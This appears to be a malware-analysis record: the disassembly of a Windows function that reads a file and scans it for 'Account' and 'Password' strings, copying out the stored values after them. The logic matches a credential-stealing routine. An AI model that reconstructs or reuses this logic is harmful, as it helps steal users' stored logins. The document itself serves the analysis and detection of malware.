Function at 0x409adf
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ecx
push ebx
push ebx
push 3
push ebx
push 7
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x409b1b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x409d93
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 0xc], ebx
call fcn.00401085
push ebx
mov edi, eax
push 0
push edi
mov dword [ebp - 0x1c], edi
call fcn.00401052
and dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
add esp, 0x10
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x400000
call fcn.00405eb4
mov esi, eax
mov ebx, 0x104
mov ecx, ebx
mov dword [ebp - 0x18], esi
call fcn.00405eb4
mov ecx, ebx
mov dword [ebp + 8], eax
call fcn.00405eb4
xor ecx, ecx
mov dword [ebp - 8], eax
xor dh, dh
xor ebx, ebx
cmp dword [ebp - 0xc], ecx
jbe 0x409d75
mov dl, byte [ebx + edi]
lea eax, [edx - 0x21]
cmp al, 0x5d
ja 0x409c84
cmp dl, 0x3d
je 0x409c84
mov byte [ecx + esi], dl
inc ecx
test dh, dh
jne 0x409c4c
cmp ecx, 7
jle 0x409c84
cmp byte [ecx + esi - 7], 0x41
jne 0x409c84
cmp byte [ecx + esi - 6], 0x63
jne 0x409c84
cmp byte [ecx + esi - 5], 0x63
jne 0x409c84
cmp byte [ecx + esi - 4], 0x6f
jne 0x409c84
cmp byte [ecx + esi - 3], 0x75
jne 0x409c84
cmp byte [ecx + esi - 2], 0x6e
jne 0x409c84
cmp byte [ecx + esi - 1], 0x74
jne 0x409c84
cmp byte [edi], 0xd0
push 2
pop eax
push 9
pop edx
cmovne eax, edx
xor edx, edx
add eax, ebx
mov dword [ebp - 0x10], eax
mov al, byte [eax + edi]
cmp al, 0x20
jbe 0x409c41
mov esi, dword [ebp - 0x10]
add esi, edi
mov dword [ebp - 0x10], esi
mov edi, esi
mov esi, dword [ebp + 8]
cmp al, 0x7f
jae 0x409c3b
inc edi
mov byte [edx + esi], al
inc edx
mov al, byte [edi]
cmp al, 0x20
ja 0x409c2c
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
mov byte [edx + eax], 0
mov dh, 1
jmp 0x409c84
cmp byte [ecx + esi - 8], 0x50
jne 0x409c84
cmp byte [ecx + esi - 7], 0x61
jne 0x409c84
cmp byte [ecx + esi - 6], 0x73
jne 0x409c84
cmp byte [ecx + esi - 5], 0x73
jne 0x409c84
cmp byte [ecx + esi - 4], 0x77
jne 0x409c84
cmp byte [ecx + esi - 3], 0x6f
jne 0x409c84
cmp byte [ecx + esi - 2], 0x72
jne 0x409c84
cmp byte [ecx + esi - 1], 0x64
je 0x409c93
inc ebx
cmp ebx, dword [ebp - 0xc]
jb 0x409b90
jmp 0x409d75
cmp byte [edi], 0xd0
push 2
pop eax
push 9
pop ecx
cmovne eax, ecx
xor edx, edx
lea ecx, [eax + ebx]
mov al, byte [ecx + edi]
cmp al, 0x20
jbe 0x409cc3
mov ebx, dword [ebp - 8]
add ecx, edi
cmp al, 0x7f
jae 0x409cc3
cmp al, 0x21
je 0x409cc3
mov byte [edx + ebx], al
inc edx
inc ecx
mov al, byte [ecx]
cmp al, 0x20
ja 0x409cb0
mov eax, dword [ebp - 8]
xor ecx, ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov byte [edx + eax], cl
lea ecx, [ebp - 0x10]
push eax
call fcn.004033bf
push dword [ebp + 8]
lea ecx, [ebp - 0xc]
call fcn.004033bf
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040309d
push eax
lea ecx, [ebp - 0x28]
call fcn.00403437
mov ecx, dword [ebp - 0x1c]
call fcn.00405ea5
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040309d
push eax
lea ecx, [ebp - 0x2c]
call fcn.00403437
mov ecx, dword [ebp - 0x1c]
call fcn.00405ea5
push 0x414648
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x24], 5
call fcn.004035e5
push eax
lea ecx, [ebp - 0x30]
call fcn.00403437
mov ecx, dword [ebp - 0x1c]
call fcn.00405ea5
sub esp, 0x10
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.00401f95
mov ecx, dword [ebp - 0x20]
call fcn.00401fcb
mov ecx, dword [ebp - 0xc]
call fcn.00405ea5
mov ecx, dword [ebp - 0x10]
call fcn.00405ea5
lea ecx, [ebp - 0x30]
call fcn.004013ef
mov ecx, dword [ebp + 8]
call fcn.00405ea5
mov ecx, dword [ebp - 8]
call fcn.00405ea5
mov ecx, esi
call fcn.00405ea5
push edi
call fcn.00401099
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4